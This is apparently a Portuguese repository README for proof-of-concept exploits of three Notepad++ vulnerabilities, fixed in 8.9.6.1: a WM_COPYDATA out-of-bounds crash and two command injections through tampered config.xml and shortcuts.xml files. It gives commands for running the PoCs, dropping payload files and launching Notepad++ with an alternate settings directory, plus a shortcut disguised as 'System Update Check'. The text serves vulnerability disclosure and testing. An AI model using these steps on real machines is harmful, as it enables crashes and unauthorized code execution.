PoCs do Notepad++

CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800

Scripts de prova de conceito para três vulnerabilidades no Notepad++ <= 8.9.6, corrigidas na v8.9.6.1 (26/05/2026).

Demo do CVE-2026-48778 - File → Open Containing Folder → cmd aciona RCE

Vulnerabilidades

CVE	Tipo	CVSS	Impacto
CVE-2026-48770	Leitura OOB via `WM_COPYDATA`	5.0	DoS / Crash
CVE-2026-48778	Injeção de comandos do SO via `config.xml`	7.8	RCE
CVE-2026-48800	Injeção de comandos do SO via `shortcuts.xml`	7.8	RCE

Requisitos

Windows 10/11 (VM recomendada)
Notepad++ <= 8.9.6 instalado e não atualizado
Python 3.x (para scripts .py)
PowerShell (integrado, para .ps1)

Estrutura de Arquivos

.
├── README.md
├── poc_CVE-2026-48770.py                    # OOB read crash (ctypes)
├── poc_CVE-2026-48778.py                    # RCE via config.xml
├── poc_CVE-2026-48800.py                    # RCE via shortcuts.xml
└── payloads/
    ├── config.xml                           # Drop-in payload (CVE-2026-48778)
    ├── shortcuts.xml                        # Drop-in payload (CVE-2026-48800)
    └── poc_CVE-2026-48770.ps1               # OOB read crash (PowerShell)

CVE-2026-48770 - Leitura OOB via WM_COPYDATA

Um processo local na mesma sessão do Windows envia uma mensagem WM_COPYDATA forjada (dwData=3) sem terminador NUL. O manipulador faz uma leitura além do limite do buffer, gerando uma violação de acesso (0xc0000005) que derruba o Notepad++.

Gatilho: o Notepad++ deve estar aberto.

PowerShell:

# From payloads\
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1

Python:

python poc_CVE-2026-48770.py

Saída esperada:

[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)

A janela do Notepad++ desaparece. O WER (Windows Error Reporting) pode ser acionado.

CVE-2026-48778 - RCE via config.xml

O arquivo %APPDATA%\Notepad++\config.xml é lido na inicialização. O valor de <GUIConfig name="commandLineInterpreter"> é passado diretamente para ShellExecute() sem validação. Substituí-lo por qualquer executável permite obter RCE quando o usuário clica em File → Open Containing Folder → cmd.

Método A - Script Python (recomendado)

# Inject (backs up original automatically)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe

# Trigger: open Notepad++ -> File -> Open Containing Folder -> cmd
# calc.exe launches instead of cmd.exe

# Restore
python poc_CVE-2026-48778.py --mode direct --restore

Método B - Colocar o arquivo XML

copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# Open Notepad++ -> File -> Open Containing Folder -> cmd

Método C - settingsDir (sem escrita em AppData)

python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: File -> Open Containing Folder -> cmd

CVE-2026-48800 - RCE via shortcuts.xml

O arquivo %APPDATA%\Notepad++\shortcuts.xml é lido na inicialização. As entradas <Command> em <UserDefinedCommands> são adicionadas ao menu Run e passadas diretamente para ShellExecute() sem validação. Uma entrada controlada pelo atacante é executada ao clicar.

Método A - Script Python (recomendado)

# Inject (backs up original automatically)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"

# Trigger: close and reopen Notepad++ -> Run menu -> "System Update Check"
# calc.exe launches

# Restore
python poc_CVE-2026-48800.py --mode direct --restore

Método B - Colocar o arquivo XML

copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# Restart Notepad++ -> Run menu -> "System Update Check"

Método C - settingsDir (sem escrita em AppData)

python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: Run menu -> "System Update Check"

Mitigação

Atualize o Notepad++ para v8.9.6.1 ou posterior.
Download: https://notepad-plus-plus.org/downloads/

Referências dos Advisories

CVE	Advisory
CVE-2026-48770	GHSA-r39g-3mcw-xcg2
CVE-2026-48778	GHSA-7hm3-wp5q-ccv9
CVE-2026-48800	GHSA-3x3f-3j39-pj3v

Apenas para fins de pesquisa e testes autorizados.

Notepad-8.9.6-PoC

Mais Populares